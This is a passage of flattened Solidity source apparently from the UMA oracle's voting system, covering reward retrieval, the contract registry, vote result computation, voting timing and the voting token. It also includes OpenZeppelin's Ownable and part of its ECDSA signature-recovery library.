for (uint256 i = 0; i < reveals.length; i++) {
revealsAncillary[i].identifier = reveals[i].identifier;
revealsAncillary[i].time = reveals[i].time;
revealsAncillary[i].price = reveals[i].price;
revealsAncillary[i].ancillaryData = "";
revealsAncillary[i].salt = reveals[i].salt;
}
batchReveal(revealsAncillary);
}
/**
* @notice Retrieves rewards owed for a set of resolved price requests.
* @dev Can only retrieve rewards if calling for a valid round and if the call is done within the timeout threshold
* (not expired). Note that a named return value is used here to avoid a stack to deep error.
* @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller.
* @param roundId the round from which voting rewards will be retrieved from.
* @param toRetrieve array of PendingRequests which rewards are retrieved from.
* @return totalRewardToIssue total amount of rewards returned to the voter.
*/
function retrieveRewards(
address voterAddress,
uint256 roundId,
PendingRequestAncillary[] memory toRetrieve
) public override returns (FixedPoint.Unsigned memory totalRewardToIssue) {
if (migratedAddress != address(0)) {
require(msg.sender == migratedAddress, "Can only call from migrated");
}
require(roundId < voteTiming.computeCurrentRoundId(getCurrentTime()), "Invalid roundId");
Round storage round = rounds[roundId];
bool isExpired = getCurrentTime() > round.rewardsExpirationTime;
FixedPoint.Unsigned memory snapshotBalance =
FixedPoint.Unsigned(votingToken.balanceOfAt(voterAddress, round.snapshotId));
// Compute the total amount of reward that will be issued for each of the votes in the round.
FixedPoint.Unsigned memory snapshotTotalSupply =
FixedPoint.Unsigned(votingToken.totalSupplyAt(round.snapshotId));
FixedPoint.Unsigned memory totalRewardPerVote = round.inflationRate.mul(snapshotTotalSupply);
// Keep track of the voter's accumulated token reward.
totalRewardToIssue = FixedPoint.Unsigned(0);
for (uint256 i = 0; i < toRetrieve.length; i++) {
PriceRequest storage priceRequest =
_getPriceRequest(toRetrieve[i].identifier, toRetrieve[i].time, toRetrieve[i].ancillaryData);
VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound];
// Only retrieve rewards for votes resolved in same round
require(priceRequest.lastVotingRound == roundId, "Retrieve for votes same round");
_resolvePriceRequest(priceRequest, voteInstance);
if (voteInstance.voteSubmissions[voterAddress].revealHash == 0) {
continue;
} else if (isExpired) {
// Emit a 0 token retrieval on expired rewards.
emit RewardsRetrieved(
voterAddress,
roundId,
toRetrieve[i].identifier,
toRetrieve[i].time,
toRetrieve[i].ancillaryData,
0
);
} else if (
voteInstance.resultComputation.wasVoteCorrect(voteInstance.voteSubmissions[voterAddress].revealHash)
) {
// The price was successfully resolved during the voter's last voting round, the voter revealed
// and was correct, so they are eligible for a reward.
// Compute the reward and add to the cumulative reward.
FixedPoint.Unsigned memory reward =
snapshotBalance.mul(totalRewardPerVote).div(
voteInstance.resultComputation.getTotalCorrectlyVotedTokens()
);
totalRewardToIssue = totalRewardToIssue.add(reward);
// Emit reward retrieval for this vote.
emit RewardsRetrieved(
voterAddress,
roundId,
toRetrieve[i].identifier,
toRetrieve[i].time,
toRetrieve[i].ancillaryData,
reward.rawValue
);
} else {
// Emit a 0 token retrieval on incorrect votes.
emit RewardsRetrieved(
voterAddress,
roundId,
toRetrieve[i].identifier,
toRetrieve[i].time,
toRetrieve[i].ancillaryData,
0
);
}
// Delete the submission to capture any refund and clean up storage.
delete voteInstance.voteSubmissions[voterAddress].revealHash;
}
// Issue any accumulated rewards.
if (totalRewardToIssue.isGreaterThan(0)) {
require(votingToken.mint(voterAddress, totalRewardToIssue.rawValue), "Voting token issuance failed");
}
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function retrieveRewards(
address voterAddress,
uint256 roundId,
PendingRequest[] memory toRetrieve
) public override returns (FixedPoint.Unsigned memory) {
PendingRequestAncillary[] memory toRetrieveAncillary = new PendingRequestAncillary[](toRetrieve.length);
for (uint256 i = 0; i < toRetrieve.length; i++) {
toRetrieveAncillary[i].identifier = toRetrieve[i].identifier;
toRetrieveAncillary[i].time = toRetrieve[i].time;
toRetrieveAncillary[i].ancillaryData = "";
}
return retrieveRewards(voterAddress, roundId, toRetrieveAncillary);
}
/****************************************
* VOTING GETTER FUNCTIONS *
****************************************/
/**
* @notice Gets the queries that are being voted on this round.
* @return pendingRequests array containing identifiers of type `PendingRequest`.
* and timestamps for all pending requests.
*/
function getPendingRequests()
external
view
override(VotingInterface, VotingAncillaryInterface)
returns (PendingRequestAncillary[] memory)
{
uint256 blockTime = getCurrentTime();
uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime);
// Solidity memory arrays aren't resizable (and reading storage is expensive). Hence this hackery to filter
// `pendingPriceRequests` only to those requests that have an Active RequestStatus.
PendingRequestAncillary[] memory unresolved = new PendingRequestAncillary[](pendingPriceRequests.length);
uint256 numUnresolved = 0;
for (uint256 i = 0; i < pendingPriceRequests.length; i++) {
PriceRequest storage priceRequest = priceRequests[pendingPriceRequests[i]];
if (_getRequestStatus(priceRequest, currentRoundId) == RequestStatus.Active) {
unresolved[numUnresolved] = PendingRequestAncillary({
identifier: priceRequest.identifier,
time: priceRequest.time,
ancillaryData: priceRequest.ancillaryData
});
numUnresolved++;
}
}
PendingRequestAncillary[] memory pendingRequests = new PendingRequestAncillary[](numUnresolved);
for (uint256 i = 0; i < numUnresolved; i++) {
pendingRequests[i] = unresolved[i];
}
return pendingRequests;
}
/**
* @notice Returns the current voting phase, as a function of the current time.
* @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }.
*/
function getVotePhase() external view override(VotingInterface, VotingAncillaryInterface) returns (Phase) {
return voteTiming.computeCurrentPhase(getCurrentTime());
}
/**
* @notice Returns the current round ID, as a function of the current time.
* @return uint256 representing the unique round ID.
*/
function getCurrentRoundId() external view override(VotingInterface, VotingAncillaryInterface) returns (uint256) {
return voteTiming.computeCurrentRoundId(getCurrentTime());
}
/****************************************
* OWNER ADMIN FUNCTIONS *
****************************************/
/**
* @notice Disables this Voting contract in favor of the migrated one.
* @dev Can only be called by the contract owner.
* @param newVotingAddress the newly migrated contract address.
*/
function setMigrated(address newVotingAddress)
external
override(VotingInterface, VotingAncillaryInterface)
onlyOwner
{
migratedAddress = newVotingAddress;
}
/**
* @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newInflationRate sets the next round's inflation rate.
*/
function setInflationRate(FixedPoint.Unsigned memory newInflationRate)
public
override(VotingInterface, VotingAncillaryInterface)
onlyOwner
{
inflationRate = newInflationRate;
}
/**
* @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newGatPercentage sets the next round's Gat percentage.
*/
function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage)
public
override(VotingInterface, VotingAncillaryInterface)
onlyOwner
{
require(newGatPercentage.isLessThan(1), "GAT percentage must be < 100%");
gatPercentage = newGatPercentage;
}
/**
* @notice Resets the rewards expiration timeout.
* @dev This change only applies to rounds that have not yet begun.
* @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards.
*/
function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout)
public
override(VotingInterface, VotingAncillaryInterface)
onlyOwner
{
rewardsExpirationTimeout = NewRewardsExpirationTimeout;
}
/****************************************
* PRIVATE AND INTERNAL FUNCTIONS *
****************************************/
// Returns the price for a given identifer. Three params are returns: bool if there was an error, int to represent
// the resolved price and a string which is filled with an error message, if there was an error or "".
function _getPriceOrError(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
)
private
view
returns (
bool,
int256,
string memory
)
{
PriceRequest storage priceRequest = _getPriceRequest(identifier, time, ancillaryData);
uint256 currentRoundId = voteTiming.computeCurrentRoundId(getCurrentTime());
RequestStatus requestStatus = _getRequestStatus(priceRequest, currentRoundId);
if (requestStatus == RequestStatus.Active) {
return (false, 0, "Current voting round not ended");
} else if (requestStatus == RequestStatus.Resolved) {
VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound];
(, int256 resolvedPrice) =
voteInstance.resultComputation.getResolvedPrice(_computeGat(priceRequest.lastVotingRound));
return (true, resolvedPrice, "");
} else if (requestStatus == RequestStatus.Future) {
return (false, 0, "Price is still to be voted on");
} else {
return (false, 0, "Price was never requested");
}
}
function _getPriceRequest(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) private view returns (PriceRequest storage) {
return priceRequests[_encodePriceRequest(identifier, time, ancillaryData)];
}
function _encodePriceRequest(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) private pure returns (bytes32) {
return keccak256(abi.encode(identifier, time, ancillaryData));
}
function _freezeRoundVariables(uint256 roundId) private {
Round storage round = rounds[roundId];
// Only on the first reveal should the snapshot be captured for that round.
if (round.snapshotId == 0) {
// There is no snapshot ID set, so create one.
round.snapshotId = votingToken.snapshot();
// Set the round inflation rate to the current global inflation rate.
rounds[roundId].inflationRate = inflationRate;
// Set the round gat percentage to the current global gat rate.
rounds[roundId].gatPercentage = gatPercentage;
// Set the rewards expiration time based on end of time of this round and the current global timeout.
rounds[roundId].rewardsExpirationTime = voteTiming.computeRoundEndTime(roundId).add(
rewardsExpirationTimeout
);
}
}
function _resolvePriceRequest(PriceRequest storage priceRequest, VoteInstance storage voteInstance) private {
if (priceRequest.index == UINT_MAX) {
return;
}
(bool isResolved, int256 resolvedPrice) =
voteInstance.resultComputation.getResolvedPrice(_computeGat(priceRequest.lastVotingRound));
require(isResolved, "Can't resolve unresolved request");
// Delete the resolved price request from pendingPriceRequests.
uint256 lastIndex = pendingPriceRequests.length - 1;
PriceRequest storage lastPriceRequest = priceRequests[pendingPriceRequests[lastIndex]];
lastPriceRequest.index = priceRequest.index;
pendingPriceRequests[priceRequest.index] = pendingPriceRequests[lastIndex];
pendingPriceRequests.pop();
priceRequest.index = UINT_MAX;
emit PriceResolved(
priceRequest.lastVotingRound,
priceRequest.identifier,
priceRequest.time,
resolvedPrice,
priceRequest.ancillaryData
);
}
function _computeGat(uint256 roundId) private view returns (FixedPoint.Unsigned memory) {
uint256 snapshotId = rounds[roundId].snapshotId;
if (snapshotId == 0) {
// No snapshot - return max value to err on the side of caution.
return FixedPoint.Unsigned(UINT_MAX);
}
// Grab the snapshotted supply from the voting token. It's already scaled by 10**18, so we can directly
// initialize the Unsigned value with the returned uint.
FixedPoint.Unsigned memory snapshottedSupply = FixedPoint.Unsigned(votingToken.totalSupplyAt(snapshotId));
// Multiply the total supply at the snapshot by the gatPercentage to get the GAT in number of tokens.
return snapshottedSupply.mul(rounds[roundId].gatPercentage);
}
function _getRequestStatus(PriceRequest storage priceRequest, uint256 currentRoundId)
private
view
returns (RequestStatus)
{
if (priceRequest.lastVotingRound == 0) {
return RequestStatus.NotRequested;
} else if (priceRequest.lastVotingRound < currentRoundId) {
VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound];
(bool isResolved, ) =
voteInstance.resultComputation.getResolvedPrice(_computeGat(priceRequest.lastVotingRound));
return isResolved ? RequestStatus.Resolved : RequestStatus.Active;
} else if (priceRequest.lastVotingRound == currentRoundId) {
return RequestStatus.Active;
} else {
// Means than priceRequest.lastVotingRound > currentRoundId
return RequestStatus.Future;
}
}
function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Provides addresses of the live contracts implementing certain interfaces.
* @dev Examples are the Oracle or Store interfaces.
*/
interface FinderInterface {
/**
* @notice Updates the address of the contract that implements `interfaceName`.
* @param interfaceName bytes32 encoding of the interface name that is either changed or registered.
* @param implementationAddress address of the deployed contract that implements the interface.
*/
function changeImplementationAddress(bytes32 interfaceName, address implementationAddress) external;
/**
* @notice Gets the address of the contract that implements the given `interfaceName`.
* @param interfaceName queried interface.
* @return implementationAddress address of the deployed contract that implements the interface.
*/
function getImplementationAddress(bytes32 interfaceName) external view returns (address);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Financial contract facing Oracle interface.
* @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface.
*/
abstract contract OracleAncillaryInterface {
/**
* @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param time unix timestamp for the price request.
*/
function requestPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public virtual;
/**
* @notice Whether the price for `identifier` and `time` is available.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return bool if the DVM has resolved to a price for the given identifier and timestamp.
*/
function hasPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view virtual returns (bool);
/**
* @notice Gets the price for `identifier` and `time` if it has already been requested and resolved.
* @dev If the price is not available, the method reverts.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return int256 representing the resolved price for the given identifier and timestamp.
*/
function getPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view virtual returns (int256);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/**
* @title Interface for whitelists of supported identifiers that the oracle can provide prices for.
*/
interface IdentifierWhitelistInterface {
/**
* @notice Adds the provided identifier as a supported identifier.
* @dev Price requests using this identifier will succeed after this call.
* @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD.
*/
function addSupportedIdentifier(bytes32 identifier) external;
/**
* @notice Removes the identifier from the whitelist.
* @dev Price requests using this identifier will no longer succeed after this call.
* @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD.
*/
function removeSupportedIdentifier(bytes32 identifier) external;
/**
* @notice Checks whether an identifier is on the whitelist.
* @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD.
* @return bool if the identifier is supported (or not).
*/
function isIdentifierSupported(bytes32 identifier) external view returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/MultiRole.sol";
import "../interfaces/RegistryInterface.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
* @title Registry for financial contracts and approved financial contract creators.
* @dev Maintains a whitelist of financial contract creators that are allowed
* to register new financial contracts and stores party members of a financial contract.
*/
contract Registry is RegistryInterface, MultiRole {
using SafeMath for uint256;
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles {
Owner, // The owner manages the set of ContractCreators.
ContractCreator // Can register financial contracts.
}
// This enum is required because a `WasValid` state is required
// to ensure that financial contracts cannot be re-registered.
enum Validity { Invalid, Valid }
// Local information about a contract.
struct FinancialContract {
Validity valid;
uint128 index;
}
struct Party {
address[] contracts; // Each financial contract address is stored in this array.
// The address of each financial contract is mapped to its index for constant time look up and deletion.
mapping(address => uint256) contractIndex;
}
// Array of all contracts that are approved to use the UMA Oracle.
address[] public registeredContracts;
// Map of financial contract contracts to the associated FinancialContract struct.
mapping(address => FinancialContract) public contractMap;
// Map each party member to their their associated Party struct.
mapping(address => Party) private partyMap;
/****************************************
* EVENTS *
****************************************/
event NewContractRegistered(address indexed contractAddress, address indexed creator, address[] parties);
event PartyAdded(address indexed contractAddress, address indexed party);
event PartyRemoved(address indexed contractAddress, address indexed party);
/**
* @notice Construct the Registry contract.
*/
constructor() public {
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender);
// Start with no contract creators registered.
_createSharedRole(uint256(Roles.ContractCreator), uint256(Roles.Owner), new address[](0));
}
/****************************************
* REGISTRATION FUNCTIONS *
****************************************/
/**
* @notice Registers a new financial contract.
* @dev Only authorized contract creators can call this method.
* @param parties array of addresses who become parties in the contract.
* @param contractAddress address of the contract against which the parties are registered.
*/
function registerContract(address[] calldata parties, address contractAddress)
external
override
onlyRoleHolder(uint256(Roles.ContractCreator))
{
FinancialContract storage financialContract = contractMap[contractAddress];
require(contractMap[contractAddress].valid == Validity.Invalid, "Can only register once");
// Store contract address as a registered contract.
registeredContracts.push(contractAddress);
// No length check necessary because we should never hit (2^127 - 1) contracts.
financialContract.index = uint128(registeredContracts.length.sub(1));
// For all parties in the array add them to the contract's parties.
financialContract.valid = Validity.Valid;
for (uint256 i = 0; i < parties.length; i = i.add(1)) {
_addPartyToContract(parties[i], contractAddress);
}
emit NewContractRegistered(contractAddress, msg.sender, parties);
}
/**
* @notice Adds a party member to the calling contract.
* @dev msg.sender will be used to determine the contract that this party is added to.
* @param party new party for the calling contract.
*/
function addPartyToContract(address party) external override {
address contractAddress = msg.sender;
require(contractMap[contractAddress].valid == Validity.Valid, "Can only add to valid contract");
_addPartyToContract(party, contractAddress);
}
/**
* @notice Removes a party member from the calling contract.
* @dev msg.sender will be used to determine the contract that this party is removed from.
* @param partyAddress address to be removed from the calling contract.
*/
function removePartyFromContract(address partyAddress) external override {
address contractAddress = msg.sender;
Party storage party = partyMap[partyAddress];
uint256 numberOfContracts = party.contracts.length;
require(numberOfContracts != 0, "Party has no contracts");
require(contractMap[contractAddress].valid == Validity.Valid, "Remove only from valid contract");
require(isPartyMemberOfContract(partyAddress, contractAddress), "Can only remove existing party");
// Index of the current location of the contract to remove.
uint256 deleteIndex = party.contractIndex[contractAddress];
// Store the last contract's address to update the lookup map.
address lastContractAddress = party.contracts[numberOfContracts - 1];
// Swap the contract to be removed with the last contract.
party.contracts[deleteIndex] = lastContractAddress;
// Update the lookup index with the new location.
party.contractIndex[lastContractAddress] = deleteIndex;
// Pop the last contract from the array and update the lookup map.
party.contracts.pop();
delete party.contractIndex[contractAddress];
emit PartyRemoved(contractAddress, partyAddress);
}
/****************************************
* REGISTRY STATE GETTERS *
****************************************/
/**
* @notice Returns whether the contract has been registered with the registry.
* @dev If it is registered, it is an authorized participant in the UMA system.
* @param contractAddress address of the financial contract.
* @return bool indicates whether the contract is registered.
*/
function isContractRegistered(address contractAddress) external view override returns (bool) {
return contractMap[contractAddress].valid == Validity.Valid;
}
/**
* @notice Returns a list of all contracts that are associated with a particular party.
* @param party address of the party.
* @return an array of the contracts the party is registered to.
*/
function getRegisteredContracts(address party) external view override returns (address[] memory) {
return partyMap[party].contracts;
}
/**
* @notice Returns all registered contracts.
* @return all registered contract addresses within the system.
*/
function getAllRegisteredContracts() external view override returns (address[] memory) {
return registeredContracts;
}
/**
* @notice checks if an address is a party of a contract.
* @param party party to check.
* @param contractAddress address to check against the party.
* @return bool indicating if the address is a party of the contract.
*/
function isPartyMemberOfContract(address party, address contractAddress) public view override returns (bool) {
uint256 index = partyMap[party].contractIndex[contractAddress];
return partyMap[party].contracts.length > index && partyMap[party].contracts[index] == contractAddress;
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
function _addPartyToContract(address party, address contractAddress) internal {
require(!isPartyMemberOfContract(party, contractAddress), "Can only register a party once");
uint256 contractIndex = partyMap[party].contracts.length;
partyMap[party].contracts.push(contractAddress);
partyMap[party].contractIndex[contractAddress] = contractIndex;
emit PartyAdded(contractAddress, party);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../../common/implementation/FixedPoint.sol";
/**
* @title Computes vote results.
* @dev The result is the mode of the added votes. Otherwise, the vote is unresolved.
*/
library ResultComputation {
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* INTERNAL LIBRARY DATA STRUCTURE *
****************************************/
struct Data {
// Maps price to number of tokens that voted for that price.
mapping(int256 => FixedPoint.Unsigned) voteFrequency;
// The total votes that have been added.
FixedPoint.Unsigned totalVotes;
// The price that is the current mode, i.e., the price with the highest frequency in `voteFrequency`.
int256 currentMode;
}
/****************************************
* VOTING FUNCTIONS *
****************************************/
/**
* @notice Adds a new vote to be used when computing the result.
* @param data contains information to which the vote is applied.
* @param votePrice value specified in the vote for the given `numberTokens`.
* @param numberTokens number of tokens that voted on the `votePrice`.
*/
function addVote(
Data storage data,
int256 votePrice,
FixedPoint.Unsigned memory numberTokens
) internal {
data.totalVotes = data.totalVotes.add(numberTokens);
data.voteFrequency[votePrice] = data.voteFrequency[votePrice].add(numberTokens);
if (
votePrice != data.currentMode &&
data.voteFrequency[votePrice].isGreaterThan(data.voteFrequency[data.currentMode])
) {
data.currentMode = votePrice;
}
}
/****************************************
* VOTING STATE GETTERS *
****************************************/
/**
* @notice Returns whether the result is resolved, and if so, what value it resolved to.
* @dev `price` should be ignored if `isResolved` is false.
* @param data contains information against which the `minVoteThreshold` is applied.
* @param minVoteThreshold min (exclusive) number of tokens that must have voted for the result to be valid. Can be
* used to enforce a minimum voter participation rate, regardless of how the votes are distributed.
* @return isResolved indicates if the price has been resolved correctly.
* @return price the price that the dvm resolved to.
*/
function getResolvedPrice(Data storage data, FixedPoint.Unsigned memory minVoteThreshold)
internal
view
returns (bool isResolved, int256 price)
{
FixedPoint.Unsigned memory modeThreshold = FixedPoint.fromUnscaledUint(50).div(100);
if (
data.totalVotes.isGreaterThan(minVoteThreshold) &&
data.voteFrequency[data.currentMode].div(data.totalVotes).isGreaterThan(modeThreshold)
) {
// `modeThreshold` and `minVoteThreshold` are exceeded, so the current mode is the resolved price.
isResolved = true;
price = data.currentMode;
} else {
isResolved = false;
}
}
/**
* @notice Checks whether a `voteHash` is considered correct.
* @dev Should only be called after a vote is resolved, i.e., via `getResolvedPrice`.
* @param data contains information against which the `voteHash` is checked.
* @param voteHash committed hash submitted by the voter.
* @return bool true if the vote was correct.
*/
function wasVoteCorrect(Data storage data, bytes32 voteHash) internal view returns (bool) {
return voteHash == keccak256(abi.encode(data.currentMode));
}
/**
* @notice Gets the total number of tokens whose votes are considered correct.
* @dev Should only be called after a vote is resolved, i.e., via `getResolvedPrice`.
* @param data contains all votes against which the correctly voted tokens are counted.
* @return FixedPoint.Unsigned which indicates the frequency of the correctly voted tokens.
*/
function getTotalCorrectlyVotedTokens(Data storage data) internal view returns (FixedPoint.Unsigned memory) {
return data.voteFrequency[data.currentMode];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../interfaces/VotingInterface.sol";
/**
* @title Library to compute rounds and phases for an equal length commit-reveal voting cycle.
*/
library VoteTiming {
using SafeMath for uint256;
struct Data {
uint256 phaseLength;
}
/**
* @notice Initializes the data object. Sets the phase length based on the input.
*/
function init(Data storage data, uint256 phaseLength) internal {
// This should have a require message but this results in an internal Solidity error.
require(phaseLength > 0);
data.phaseLength = phaseLength;
}
/**
* @notice Computes the roundID based off the current time as floor(timestamp/roundLength).
* @dev The round ID depends on the global timestamp but not on the lifetime of the system.
* The consequence is that the initial round ID starts at an arbitrary number (that increments, as expected, for subsequent rounds) instead of zero or one.
* @param data input data object.
* @param currentTime input unix timestamp used to compute the current roundId.
* @return roundId defined as a function of the currentTime and `phaseLength` from `data`.
*/
function computeCurrentRoundId(Data storage data, uint256 currentTime) internal view returns (uint256) {
uint256 roundLength = data.phaseLength.mul(uint256(VotingAncillaryInterface.Phase.NUM_PHASES_PLACEHOLDER));
return currentTime.div(roundLength);
}
/**
* @notice compute the round end time as a function of the round Id.
* @param data input data object.
* @param roundId uniquely identifies the current round.
* @return timestamp unix time of when the current round will end.
*/
function computeRoundEndTime(Data storage data, uint256 roundId) internal view returns (uint256) {
uint256 roundLength = data.phaseLength.mul(uint256(VotingAncillaryInterface.Phase.NUM_PHASES_PLACEHOLDER));
return roundLength.mul(roundId.add(1));
}
/**
* @notice Computes the current phase based only on the current time.
* @param data input data object.
* @param currentTime input unix timestamp used to compute the current roundId.
* @return current voting phase based on current time and vote phases configuration.
*/
function computeCurrentPhase(Data storage data, uint256 currentTime)
internal
view
returns (VotingAncillaryInterface.Phase)
{
// This employs some hacky casting. We could make this an if-statement if we're worried about type safety.
return
VotingAncillaryInterface.Phase(
currentTime.div(data.phaseLength).mod(uint256(VotingAncillaryInterface.Phase.NUM_PHASES_PLACEHOLDER))
);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../../common/implementation/ExpandedERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Snapshot.sol";
/**
* @title Ownership of this token allows a voter to respond to price requests.
* @dev Supports snapshotting and allows the Oracle to mint new tokens as rewards.
*/
contract VotingToken is ExpandedERC20, ERC20Snapshot {
/**
* @notice Constructs the VotingToken.
*/
constructor() public ExpandedERC20("UMA Voting Token v1", "UMA", 18) {}
/**
* @notice Creates a new snapshot ID.
* @return uint256 Thew new snapshot ID.
*/
function snapshot() external returns (uint256) {
return _snapshot();
}
// _transfer, _mint and _burn are ERC20 internal methods that are overridden by ERC20Snapshot,
// therefore the compiler will complain that VotingToken must override these methods
// because the two base classes (ERC20 and ERC20Snapshot) both define the same functions
function _transfer(
address from,
address to,
uint256 value
) internal override(ERC20, ERC20Snapshot) {
super._transfer(from, to, value);
}
function _mint(address account, uint256 value) internal override(ERC20, ERC20Snapshot) {
super._mint(account, value);
}
function _burn(address account, uint256 value) internal override(ERC20, ERC20Snapshot) {
super._burn(account, value);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Stores common interface names used throughout the DVM by registration in the Finder.
*/
library OracleInterfaces {
bytes32 public constant Oracle = "Oracle";
bytes32 public constant IdentifierWhitelist = "IdentifierWhitelist";
bytes32 public constant Store = "Store";
bytes32 public constant FinancialContractsAdmin = "FinancialContractsAdmin";
bytes32 public constant Registry = "Registry";
bytes32 public constant CollateralWhitelist = "CollateralWhitelist";
bytes32 public constant OptimisticOracle = "OptimisticOracle";
}
pragma solidity ^0.6.0;
import "../GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.6.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
revert("ECDSA: invalid signature 's' value");
}
if (v != 27 && v != 28) {
revert("ECDSA: invalid signature 'v' value");
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
